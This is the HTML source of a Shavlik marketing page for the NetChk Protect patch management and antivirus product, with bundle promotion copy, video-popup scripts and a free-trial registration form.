<title>Shavlik</title>

<link rel="stylesheet" href="style/style5.css" type="text/css" media="all" />

   <script language="javascript" type="text/javascript">
       function windowOpen(sURL, bFade, sWindowName) {

           if (bFade) {
               document.getElementById("body").style.backgroundColor = "gray";
           }

           sWindowName = sWindowName || "newWindow";

           nPosX = (window.screen.width/2) - (400);
           nPosY = (window.screen.height/2) - (350 + 75);

           newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

           newWindow.focus();

           }


   var req;

function docLoad(url) {
   req = false;
// non IE
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
   try {
           req = new XMLHttpRequest();
} catch(e) {
           req = false;
}
// IE
} else if(window.ActiveXObject) {
   try {
   req = new ActiveXObject("Msxml2.XMLHTTP");
   } catch(e) {
   try {
       req = new ActiveXObject("Microsoft.XMLHTTP");
   } catch(e) {
       req = false;
   }
       }
}

   if(req) {
       //req.onreadystatechange = processReqChange;
       req.open("GET", url, false);
       req.send("");

   }

   //req = false;

}

   function downloadRecord(fileID)
   {

           sURL = "download.cfm?nFileID=" + fileID + "&a=1";
           docLoad(sURL);

   }

</script>
<link rel="stylesheet" type="text/css" href="shadowbox/shadowbox.css">
<script type="text/javascript" src="shadowbox/shadowbox.js"></script>
<script type="text/javascript">

function userCheck(sURL,nID) {

   docLoad('userCheck.cfm');

   if (req.responseText == 'num0') {

       Shadowbox.open({
    content: 'download.cfm?nFileID=0&a=1',
    player: "iframe"
    });

       return true;

   }

   else if (sURL.search('.wmv') != -1) {

       Shadowbox.open({
    content: sURL,
    player: "html",
           width: 700,
           height: 570

    });

       downloadRecord(nID);

       return true;

   }

   else {

    Shadowbox.open({
    content: sURL,
    player: "flv",
           width: 640,
           height: 364

    });

       downloadRecord(nID);

       return true;
   }

}

Shadowbox.init({
modal: true

});

</script>

</head>





























































































































































       <body>
   <div id="wrapper">
           <div style="background-image:url('images/SHAV_topBar.jpg'); background-repeat:no-repeat; height:30px;"></div>

           <div id="container">

               <div id="logo">
                   <a href="index.cfm?pg=374" target="_blank"><img src="images/SHAV_INT_downloadForm_btn.jpg" style="border:none; float:right; margin-right:20px;"></a>
               </div>


               <div id="topContainer">
                   <img src="images/Shav_LP_serious_safe.png" style="margin:-25px 0 -20px 65px; position:absolute;">

                   <div id="content">
                       <h1 style="font-size:43px; margin-left:0;">It's 360.. Protection, 24/7</h1>
                       <img src="images/SHAV_LP_patch_logo.png">

                       <p class="contentCopy">
                           <strong>NetChk..</strong> Protect is the comprehensive agentless patch management system designed to meet today...s most pressing IT challenges. NetChk.. Protect simplifies the complexity of IT management by automating patching ... for both your operating system and for third-party applications ... so you...re protected from every angle.
                           <br /><br />
                           In less than 30 minutes, <strong>NetChk..</strong> Protect will be up and running, detecting and deploying missing patches.
                           <br /><br />
                           <strong>NetChk..</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security.
                            </p>
                   </div>
                   <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div>
               </div>


               <div id="bottomContainer">

                   <div id="leftBottom">
                       <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>

                       <h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3>
                       <p class="bottomCopy">NetChk.. Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>

                       <h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>

<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>

<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;">
                           <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li>
                           <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li>
                           <li><a href="index.cfm?pg=701">Centralized Power Management</a></li>
                           <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li>
                       </ul>
                   </div>

                   <div id="middleBottom">
                       <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>

                       <img src="images/Shav_LP_serious_piggyBank.jpg" style="padding-top:10px;">
                   </div>

                   
                   <div id="rightBottom">


       <tr>
                                       <td>


                                                                                                            <form name="DownloadInfo" method="post" action="http://www.shavlik.com/pDownloadForm4.aspx" id="DownloadInfo" style="text-align: center;" target="regFrame">

                                                                                                           <p id="formHeader">Download a FREE Trial Today</p>

                       <p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik...s NetChk.. Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>

<div style="display:none;">
                                                        <input type="checkbox" name="caseStudy" id="caseStudy" value="1">

                                                           <input type="checkbox" name="webinar" id="webinar" value="1">

                                                           <input type="checkbox" name="netchk" id="netchk" value="1" checked>
                                                       </div>

                                                                                                           <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
                                                           <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
                                                           <input type="hidden" name="__LASTFOCUS" id="__LASTFOCUS" value="" />


                                                           

                                                           




<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTYwMjE4NTY4NA8WAh4McmVmZXJyaW5nVVJMBSVodHRwOi8vd3d3LnNoYXZsaWsuY29tL3N0YXJ0LW5vdy5hc3B4FgJmD2QWBAI5DxBkZBYBZmQCPw8QZGQWAWZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQ9zaGF2bGlrQW5ub3VuY2UFCnNoYXZsaWtYbWwFD3BhdGNoTWFuYWdlbWVudAUKcmVtZWRpYXRvct++OIgVp3OZ+ALV5LJOZtEO1rH0" />


                                                           


                                                            
                                                            <table style="" id="formTable" cellpadding="5" cellspacing="0" border="0" align="left" class="copy">
                                                            <tr valign="top">
                                                            <td colspan="2"><div id="m_vsValidationSummary" class="form_error" style="color:Red;display:none;">

                                                           
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblFirstName" align="right">First Name:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtFirstName" type="text" maxlength="50" id="m_txtFirstName" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>

                                                            
                                                            <tr>
                                                            <td><div id="divLblLastName" align="right">Last Name:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtLastName" type="text" maxlength="50" id="m_txtLastName" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>

                                                            <td><div id="divLblEmail" align="right">Email:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtEmail" type="text" maxlength="50" id="m_txtEmail" style="width:200px;" value="" />

                                                            </td>

                                                            </tr>

                                                            
                                                            <tr>
                                                            <td><div id="divLblPhone" align="right">Phone:<span class="alert">*</span></div></td>

                                                            <td align="left"><input name="m_txtPhone" type="text" maxlength="50" id="m_txtPhone" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblCompany" align="right">Company:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtCompany" type="text" maxlength="200" id="m_txtCompany" type="text" name="m_txtCompany" size="20" style="width:200px;" value="" />

                                                            </td>

                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div id="divLblCity" align="right">City:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtCity" type="text" maxlength="200" id="m_txtCity" type="text" name="m_txtCity" size="20" style="width:200px;" value="City" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>

                                                            <td><div id="divLblState" align="right">State:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlStates" id="m_ddlStates" style="width:200px;">
                                                               <option value="0" selected="selected" > -select-</option>
                                                               <option value="AL">Alabama</option>
                                                               <option value="AK">Alaska</option>
                                                               <option value="AS">American Samoa</option>

                                                               <option value="AZ">Arizona</option>
                                                               <option value="AR">Arkansas</option>
                                                               <option value="CA">California</option>
                                                               <option value="CO">Colorado</option>
                                                               <option value="CT">Connecticut</option>
                                                               <option value="DE">Delaware</option>

                                                               <option value="DC">District Of Columbia </option>
                                                               <option value="FM">Federated States Of Micronesia </option>
                                                               <option value="FL">Florida</option>
                                                               <option value="GA">Georgia</option>
                                                               <option value="GU">Guam</option>
                                                               <option value="HI">Hawaii</option>

                                                               <option value="ID">Idaho</option>
                                                               <option value="IL">Illinois</option>
                                                               <option value="IN">Indiana</option>
                                                               <option value="IA">Iowa</option>
                                                               <option value="KS">Kansas</option>
                                                               <option value="KY">Kentucky</option>

                                                               <option value="LA">Louisiana</option>
                                                               <option value="ME">Maine</option>
                                                               <option value="MH">Marshall Islands</option>
                                                               <option value="MD">Maryland</option>
                                                               <option value="MA">Massachusetts</option>
                                                               <option value="MI">Michigan</option>

                                                               <option value="MN">Minnesota</option>
                                                               <option value="MS">Mississippi</option>
                                                               <option value="MO">Missouri</option>
                                                               <option value="MT">Montana</option>
                                                               <option value="NE">Nebraska</option>
                                                               <option value="NV">Nevada</option>

                                                               <option value="NH">New Hampshire</option>
                                                               <option value="NJ">New Jersey</option>
                                                               <option value="NM">New Mexico</option>
                                                               <option value="NY">New York</option>
                                                               <option value="NC">North Carolina</option>
                                                               <option value="ND">North Dakota</option>

                                                               <option value="MP">Northern Mariana Islands</option>
                                                               <option value="OH">Ohio</option>
                                                               <option value="OK">Oklahoma</option>
                                                               <option value="OR">Oregon</option>
                                                               <option value="PW">Palau</option>
                                                               <option value="PA">Pennsylvania</option>

                                                               <option value="PR">Puerto Rico</option>
                                                               <option value="RI">Rhode Island</option>
                                                               <option value="SC">South Carolina</option>
                                                               <option value="SD">South Dakota</option>
                                                               <option value="TN">Tennessee</option>
                                                               <option value="TX">Texas</option>

                                                               <option value="UT">Utah</option>
                                                               <option value="VT">Vermont</option>
                                                               <option value="VI">Virgin Islands</option>
                                                               <option value="VA">Virginia</option>
                                                               <option value="WA">Washington</option>
                                                               <option value="WV">West Virginia</option>

                                                               <option value="WI">Wisconsin</option>
                                                               <option value="WY">Wyoming</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div align="right">Country:<span class="alert">*</span></div></td>

                                                            <td align="left"><select name="m_ddlCountries" onchange="javascript:setTimeout('__doPostBack(\'m_ddlCountries\',\'\')', 0)" id="m_ddlCountries" style="width:200px;">
                                                               <option selected="selected" value="1">USA</option>
                                                               <option value="2">APO/FPO</option>
                                                               <option value="3">Canada</option>
                                                               <option value="4">United Kingdom</option>
                                                               <option value="5">Afghanistan</option>

                                                               <option value="6">Albania</option>
                                                               <option value="7">Algeria</option>
                                                               <option value="8">American Samoa</option>
                                                               <option value="9">Andorra</option>
                                                               <option value="10">Angola</option>
                                                               <option value="11">Anguilla</option>

                                                               <option value="12">Antigua and Barbuda</option>
                                                               <option value="13">Argentina</option>
                                                               <option value="14">Armenia</option>
                                                               <option value="15">Aruba</option>
                                                               <option value="16">Australia</option>
                                                               <option value="17">Austria</option>

                                                               <option value="18">Azerbaijan Republic </option>
                                                               <option value="19">Bahamas</option>
                                                               <option value="20">Bahrain</option>
                                                               <option value="21">Bangladesh</option>
                                                               <option value="22">Barbados</option>
                                                               <option value="23">Belarus</option>

                                                               <option value="24">Belgium</option>
                                                               <option value="25">Belize</option>
                                                               <option value="26">Benin</option>
                                                               <option value="27">Bermuda</option>
                                                               <option value="28">Bhutan</option>
                                                               <option value="29">Bolivia</option>

                                                               <option value="30">Bosnia and Herzegovina</option>
                                                               <option value="31">Botswana</option>
                                                               <option value="32">Brazil</option>
                                                               <option value="33">British Virgin Islands</option>
                                                               <option value="34">Brunei Darussalam</option>
                                                               <option value="35">Bulgaria</option>

                                                               <option value="36">Burkina Faso</option>
                                                               <option value="37">Burma</option>
                                                               <option value="38">Burundi</option>
                                                               <option value="39">Cambodia</option>
                                                               <option value="40">Cameroon</option>
                                                               <option value="41">Canada</option>

                                                               <option value="42">Cape Verde Islands</option>
                                                               <option value="43">Cayman Islands</option>
                                                               <option value="44">Central African Republic</option>
                                                               <option value="45">Chad</option>
                                                               <option value="46">Chile</option>
                                                               <option value="47">China</option>

                                                               <option value="48">Colombia</option>
                                                               <option value="49">Comoros</option>
                                                               <option value="50">Congo, Democratic Republic of the </option>
                                                               <option value="51">Congo, Republic of the</option>
                                                               <option value="52">Cook Islands</option>
                                                               <option value="53">Costa Rica</option>

                                                               <option value="54">Cote d Ivoire (Ivory Coast)</option>
                                                               <option value="55">Croatia, Republic of </option>
                                                               <option value="56">Cuba</option>
                                                               <option value="57">Cyprus</option>
                                                               <option value="58">Czech Republic</option>
                                                               <option value="59">Denmark</option>

                                                               <option value="60">Djibouti</option>
                                                               <option value="61">Dominica</option>
                                                               <option value="62">Dominican Republic</option>
                                                               <option value="63">Ecuador</option>
                                                               <option value="64">Egypt</option>
                                                               <option value="65">El Salvador</option>

                                                               <option value="66">Equatorial Guinea</option>
                                                               <option value="67">Eritrea</option>
                                                               <option value="68">Estonia</option>
                                                               <option value="69">Ethiopia</option>
                                                               <option value="70">Falkland Islands (Islas Malvinas)</option>
                                                               <option value="71">Fiji</option>

                                                               <option value="72">Finland</option>
                                                               <option value="73">France</option>
                                                               <option value="74">French Guiana</option>
                                                               <option value="75">French Polynesia</option>
                                                               <option value="76">Gabon Republic</option>
                                                               <option value="77">Gambia</option>

                                                               <option value="78">Georgia</option>
                                                               <option value="79">Germany</option>
                                                               <option value="80">Ghana</option>
                                                               <option value="81">Gibraltar</option>
                                                               <option value="82">Greece</option>
                                                               <option value="83">Greenland</option>

                                                               <option value="84">Grenada</option>
                                                               <option value="85">Guadeloupe</option>
                                                               <option value="86">Guam</option>
                                                               <option value="87">Guatemala</option>
                                                               <option value="88">Guernsey</option>
                                                               <option value="89">Guinea</option>

                                                               <option value="90">Guinea-Bissau</option>
                                                               <option value="91">Guyana</option>
                                                               <option value="92">Haiti</option>
                                                               <option value="93">Honduras</option>
                                                               <option value="94">Hong Kong</option>
                                                               <option value="95">Hungary</option>

                                                               <option value="96">Iceland</option>
                                                               <option value="97">India</option>
                                                               <option value="98">Indonesia</option>
                                                               <option value="99">Iran</option>
                                                               <option value="100">Iraq</option>
                                                               <option value="101">Ireland</option>

                                                               <option value="102">Israel</option>
                                                               <option value="103">Italy</option>
                                                               <option value="104">Jamaica</option>
                                                               <option value="105">Jan Mayen</option>
                                                               <option value="106">Japan</option>
                                                               <option value="107">Jersey</option>

                                                               <option value="108">Jordan</option>
                                                               <option value="109">Kazakhstan</option>
                                                               <option value="110">Kenya Coast Republic</option>
                                                               <option value="111">Kiribati</option>
                                                               <option value="112">Korea, North</option>
                                                               <option value="113">Korea, South</option>

                                                               <option value="114">Kuwait</option>
                                                               <option value="115">Kyrgyzstan</option>
                                                               <option value="116">Laos</option>
                                                               <option value="117">Latvia</option>
                                                               <option value="118">Lebanon</option>
                                                               <option value="119">Liechtenstein</option>

                                                               <option value="120">Lithuania</option>
                                                               <option value="121">Luxembourg</option>
                                                               <option value="122">Macau</option>
                                                               <option value="123">Macedonia</option>
                                                               <option value="124">Madagascar</option>
                                                               <option value="125">Malawi</option>

                                                               <option value="126">Malaysia</option>
                                                               <option value="127">Maldives</option>
                                                               <option value="128">Mali</option>
                                                               <option value="129">Malta</option>
                                                               <option value="130">Marshall Islands</option>
                                                               <option value="131">Martinique</option>

                                                               <option value="132">Mauritania</option>
                                                               <option value="133">Mauritius</option>
                                                               <option value="134">Mayotte</option>
                                                               <option value="135">Mexico</option>
                                                               <option value="136">Moldova</option>
                                                               <option value="137">Monaco</option>

                                                               <option value="138">Mongolia</option>
                                                               <option value="139">Montserrat</option>
                                                               <option value="140">Morocco</option>
                                                               <option value="141">Mozambique</option>
                                                               <option value="142">Namibia</option>
                                                               <option value="143">Nauru</option>

                                                               <option value="144">Nepal</option>
                                                               <option value="145">Netherlands</option>
                                                               <option value="146">Netherlands Antilles </option>
                                                               <option value="147">New Caledonia</option>
                                                               <option value="148">New Zealand</option>
                                                               <option value="149">Nicaragua</option>

                                                               <option value="150">Niger</option>
                                                               <option value="151">Nigeria</option>
                                                               <option value="152">Niue</option>
                                                               <option value="153">Norway</option>
                                                               <option value="154">Oman</option>
                                                               <option value="155">Pakistan</option>

                                                               <option value="156">Palau</option>
                                                               <option value="157">Panama</option>
                                                               <option value="158">Papua New Guinea</option>
                                                               <option value="159">Paraguay</option>
                                                               <option value="160">Peru</option>
                                                               <option value="161">Philippines</option>

                                                               <option value="162">Poland</option>
                                                               <option value="163">Portugal</option>
                                                               <option value="164">Puerto Rico</option>
                                                               <option value="165">Qatar</option>
                                                               <option value="166">Romania</option>
                                                               <option value="167">Russian Federation </option>

                                                               <option value="168">Rwanda</option>
                                                               <option value="169">Saint Helena</option>
                                                               <option value="170">Saint Kitts-Nevis</option>
                                                               <option value="171">Saint Lucia</option>
                                                               <option value="172">Saint Pierre and Miquelon </option>
                                                               <option value="173">Saint Vincent and the Grenadines </option>

                                                               <option value="174">San Marino</option>
                                                               <option value="175">Saudi Arabia</option>
                                                               <option value="176">Senegal</option>
                                                               <option value="177">Seychelles</option>
                                                               <option value="178">Sierra Leone</option>
                                                               <option value="179">Singapore</option>

                                                               <option value="180">Slovakia</option>
                                                               <option value="181">Slovenia</option>
                                                               <option value="182">Solomon Islands</option>
                                                               <option value="183">Somalia</option>
                                                               <option value="184">South Africa</option>
                                                               <option value="185">Spain</option>

                                                               <option value="186">Sri Lanka</option>
                                                               <option value="187">Sudan</option>
                                                               <option value="188">Suriname</option>
                                                               <option value="189">Svalbard</option>
                                                               <option value="190">Swaziland</option>
                                                               <option value="191">Sweden</option>

                                                               <option value="192">Switzerland</option>
                                                               <option value="193">Syria</option>
                                                               <option value="194">Tahiti</option>
                                                               <option value="195">Taiwan</option>
                                                               <option value="196">Tajikistan</option>
                                                               <option value="197">Tanzania</option>

                                                               <option value="198">Thailand</option>
                                                               <option value="199">Togo</option>
                                                               <option value="200">Tonga</option>
                                                               <option value="201">Trinidad and Tobago </option>
                                                               <option value="202">Tunisia</option>
                                                               <option value="203">Turkey</option>

                                                               <option value="204">Turkmenistan</option>
                                                               <option value="205">Turks and Caicos Islands </option>
                                                               <option value="206">Tuvalu</option>
                                                               <option value="207">Uganda</option>
                                                               <option value="208">Ukraine</option>
                                                               <option value="209">United Arab Emirates</option>

                                                               <option value="210">United Kingdom</option>
                                                               <option value="211">United States</option>
                                                               <option value="212">Uruguay</option>
                                                               <option value="213">Uzbekistan</option>
                                                               <option value="214">Vanuatu</option>
                                                               <option value="215">Vatican City State </option>

                                                               <option value="216">Venezuela</option>
                                                               <option value="217">Vietnam</option>
                                                               <option value="218">Virgin Islands (U.S.)</option>
                                                               <option value="219">Wallis and Futuna</option>
                                                               <option value="220">Western Sahara</option>
                                                               <option value="221">Western Samoa</option>

                                                               <option value="222">Yemen</option>
                                                               <option value="223">Yugoslavia</option>
                                                               <option value="224">Zambia</option>
                                                               <option value="225">Zimbabwe</option>

                                                           </select>
                                                            </td>
                                                            </tr>

                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblProvince" align="right"> Province/Region:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlProvinces" id="m_ddlProvinces" disabled="disabled" style="width:200px;">
                                                               <option selected="selected" value=""> -select-</option>
                                                               <option value="AB">Alberta</option>

                                                               <option value="BC">British Columbia</option>
                                                               <option value="MB">Manitoba</option>
                                                               <option value="NB">New Brunswick</option>
                                                               <option value="NL">Newfoundland and Labrador</option>
                                                               <option value="NT">Northwest Territories</option>
                                                               <option value="NS">Nova Scotia</option>

                                                               <option value="NU">Nunavut</option>
                                                               <option value="ON">Ontario</option>
                                                               <option value="PE">Prince Edward Island</option>
                                                               <option value="QC">Quebec</option>
                                                               <option value="SK">Saskatchewan</option>
                                                               <option value="YT">Yukon</option>

                                                           </select></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td align="right"><div id="divLblReferredBy" align="right">Referred
                                                            By:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlReferredBy" id="m_ddlReferredBy" style="width:175px;">
                                                               <option value="0">-select-</option>
                                                               <option value="1">VMware Go</option>

                                                               <option value="2">VMware</option>
                                                               <option value="3">Google</option>
                                                               <option value="4" selected="selected" >Bing</option>
                                                               <option value="5">Other search engine</option>
                                                               <option value="6">A colleague</option>
                                                               <option value="7">A friend</option>

                                                               <option value="8">Microsoft</option>
                                                               <option value="9">Past user</option>

                                                           </select>
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblQ2" align="right">Company<br />Size: <span class="alert">*</span></div></td>

                                                            <td align="left"><select name="Q2" id="Q2" style="width:200px;">
                                                               <option value="0"> -select-</option>
                                                               <option value="12">1-99 </option>
                                                               <option value="13">100-499</option>
                                                               <option value="14">500-999</option>
                                                               <option value="15">1000-4999</option>

                                                               <option value="16">5000+</option>

                                                           </select>
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblNoOfComp" align="right"># of Computers:</div></td>
                                                            <td align="left"><input name="m_txtServers" type="text" maxlength="7" id="m_txtServers" type="text" name="m_txtServers" size="20" style="width:200px;" value="1" />

                                                            </td>
                                                            </tr>
                                                            <tr>
                                                            <td><div align="right">

                                                            </div></td>
                                                            <td align="left"></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">

                                                            <td><div id="divLblQ1" align="right">Which of the following best describes your organization?</div></td>
                                                            <td align="left"><select name="Q1" id="Q1" style="width:200px;">
                                                               <option value=""> -select-</option>
                                                               <option value="1">Financial</option>
                                                               <option value="3">Healthcare</option>
                                                               <option value="4">Services</option>

                                                               <option value="5">Manufacturing</option>
                                                               <option value="6">Federal Government</option>
                                                               <option value="7">State/Local Government </option>
                                                               <option value="8">Academic Institution</option>
                                                               <option value="9">Home User</option>
                                                               <option value="10">Reseller</option>

                                                               <option value="11" selected="selected">Other</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblQ3" align="right">I am:</div></td>
                                                            <td align="left"><select name="Q3" id="Q3" style="width:200px;">
                                                               <option value=""> -select-</option>

                                                               <option selected="selected" value="17">Gathering Information</option>
                                                               <option value="18">Evaluating Solutions</option>
                                                               <option value="19">Writing a Proposal</option>
                                                               <option value="20">Ready to Purchase</option>

                                                           </select></td>
                                                            </tr>
                                                            

                                                            <tr>
                                                            <td><div id="divLblQ4" align="right">Job Title: *</div></td>
                                                            <td align="left"><select name="Q4" id="Q4" style="width:200px;">
                                                               <option value="0"> -select-</option>
                                                               <option value="21">Administrator</option>
                                                               <option value="22">Auditor </option>

                                                               <option value="23">Consultant</option>
                                                               <option value="24">Management</option>
                                                               <option value="25">CXO</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">

                                                            <td><div id="divLblQ5" align="right">Today, I am a:</div></td>
                                                            <td align="left"><select name="Q5" id="Q5" style="width:200px;">
                                                               <option selected="selected" value=""> -select-</option>
                                                               <option value="26">Shavlik Customer</option>
                                                               <option value="27">Shavlik Partner</option>
                                                               <option value="28">Shavlik Reseller</option>

                                                               <option value="29">Other</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td align="right"></td>
                                                            <td align="left">Which of our mailing lists would you like to sign up for:</td>
                                                            </tr>

                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="shavlikAnnounce" type="checkbox" name="shavlikAnnounce" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-shavlik-announce.aspx" target="_blank">Shavlik Product Announcements</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">

                                                            <input id="shavlikXml" type="checkbox" name="shavlikXml" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-shavlik-xml.aspx" target="_blank">Shavlik XML Announcements</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="patchManagement" type="checkbox" name="patchManagement" />
                                                            </div></td>

                                                            <td align="left"><a href="mail-list-patch-management-org.aspx" target="_blank">Patch Management Mailing List</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="remediator" type="checkbox" name="remediator" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-remediator.aspx" target="_blank">The Remediator Mailing List</a></td>
                                                            </tr>

                                                            
                                                            <tr>
                                                            <td></td>
                                                            <td><input type="submit" name="btnSubmit" value="Submit" id="btnSubmit" onClick="return formCheck()" style="" />
                                                                   <span id="requiredText" style=""><br /><br />* Required Fields</span>
                                                                   </td>
                                                            </tr>
                                                            </table>



                                                           

                                                               


                                                           

                                                           


                                                           <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEW5AIC3bKtUQL5iYJ5Ao+6pzICv6qijQ4CkebzlA4ClJOCiwsCu8+N5w8C64bOoA0CpIbevg0CpIbavg0CpIa6vg0CpIbmvw0CpIaGvg0CpobCvg0CpobKvg0Cpoa+vg0Cp4byvg0Cp4b6vg0CoYbSvg0CoYbevg0CoobCvg0Cooayvg0Ck4aivg0CnIb+vg0CnIbevg0CnIbWvg0CnIbCvg0Cnoa6vg0Cnobivw0Cn4bCvg0CmIbyvg0CmIauvg0CmIb+vg0CmIbCvg0CmIaivg0CmIbWvg0CmIa6vg0CmIbKvg0CmIa+vg0CmYbyvg0CmYa2vg0CmYauvg0CmYamvg0CmYbSvg0CmYbivw0CmYb6vg0CmYb+vg0CmIaOvg0Cmoauvg0Cmobavg0CmoaGvg0Ci4aqvg0Ci4bCvg0Ci4aGvg0ClYaivg0Clob6vg0Clob+vg0Cl4bWvg0Cl4buvw0CkIa+vg0CkYa+vg0CkYaivg0CkYbCvg0CkobCvg0Ckoa2vg0Ckoaivg0Ckobivw0Cx93iggwCyLLIbALJsshsAsqyyGwCy7LIbALMsshsAs2yyGwCzrLIbALfsshsAtCyyGwCyLKIbwLIsoRvAsiygG8CyLK8bwLIsrhvAsiytG8CyLKwbwLIsqxvAsiy6GwCyLLkbALJsohvAsmyhG8CybKAbwLJsrxvAsmyuG8CybK0bwLJsrBvAsmyrG8CybLobALJsuRsAsqyiG8CyrKEbwLKsoBvAsqyvG8CyrK4bwLKsrRvAsqysG8CyrKsbwLKsuhsAsqy5GwCy7KIbwLLsoRvAsuygG8Cy7K8bwLLsrhvAsuytG8Cy7KwbwLLsqxvAsuy6GwCy7LkbALMsohvAsyyhG8CzLKAbwLMsrxvAsyyuG8CzLK0bwLMsrBvAsyyrG8CzLLobALMsuRsAs2yiG8CzbKEbwLNsoBvAs2yvG8CzbK4bwLNsrRvAs2ysG8CzbKsbwLNsuhsAs2y5GwCzrKIbwLOsoRvAs6ygG8CzrK8bwLOsrhvAs6ytG8CzrKwbwLOsqxvAs6y6GwCzrLkbALfsohvAt+yhG8C37KAbwLfsrxvAt+yuG8C37K0bwLfsrBvAt+yrG8C37LobALfsuRsAtCyiG8C0LKEbwLQsoBvAtCyvG8C0LK4bwLQsrRvAtCysG8C0LKsbwLQsuhsAtCy5GwC7vPvuAcCg8rJzQkCmN2r5gMCvbSE+wUC0o7mjQgC9+HApgICjPiiuwQCodO8zA4Clrn8kgYCq5DepwgC7vPruAcCg8rFzQkCmN2n5gMCvbSA+wUC0o7ijQgC9+H8pgICjPjeuwQCodO4zA4Clrn4kgYCq5DapwgC7vPnuAcCg8rBzQkCmN2j5gMCvbS8+wUC0o6ejAgC9+H4pgICjPjauwQCodO0zA4Clrn0kgYCq5DWpwgC7vPjuAcCg8r9zQkCmN3f5gMCvbS4+wUC0o6ajAgC9+H0pgICjPjWuwQCodOwzA4ClrnwkgYCq5DSpwgC7vOfuwcCg8r5zQkCmN3b5gMCvbS0+wUC0o6WjAgC9+HwpgICjPjSuwQCodOszA4ClrnskgYCq5DOpwgC7vObuwcCg8r1zQkCmN3X5gMCvbSw+wUC0o6SjAgC9+HspgICjPjOuwQCodOozA4ClrnokgYCq5DKpwgC7vOXuwcCg8rxzQkCmN3T5gMCvbSs+wUC0o6OjAgC9+HopgICjPjKuwQCodOkzA4ClrnkkgYCq5DGpwgC7vOTuwcCg8rtzQkCmN3P5gMCvbSo+wUC0o6KjAgC9+HkpgICjPjGuwQCodOgzA4ClrngkgYCq5DCpwgC7vPPuAcCg8qpzQkCmN2L5gMCvbTk+AUC0o7GjQgC9+GgpgICjPiCuwQCodOczA4ClrnckgYCq5C+pwgC7vPLuAcCg8qlzQkCmN2H5gMCvbTg+AUC0o7CjQgC9+HcpgICjPi+uwQCodOYzA4ClrnYkgYCq5C6pwgC7/PvuAcChMrJzQkCmd2r5gMCvrSE+wUC047mjQgC6OHApgICjfiiuwQCotO8zA4Cl7n8kgYCrJDepwgC7/PruAcChMrFzQkCmd2n5gMCvrSA+wUC047ijQgC6OH8pgICjfjeuwQCotO4zA4Cl7n4kgYCrJDapwgC7/PnuAcChMrBzQkCmd2j5gMCvrS8+wUC046ejAgC6OH4pgICw57B7gwCnPHjHgKd8d8eAqDx4x4CofHjHgKh8fseAqHxmx4CofGfHgKh8ZceAqLx8x4Cs/HXHgKs8d8eAq7x/x4CtPGbHgKen4PSCQKBn4PSCQKAn4PSCQKDn4PSCQKCn4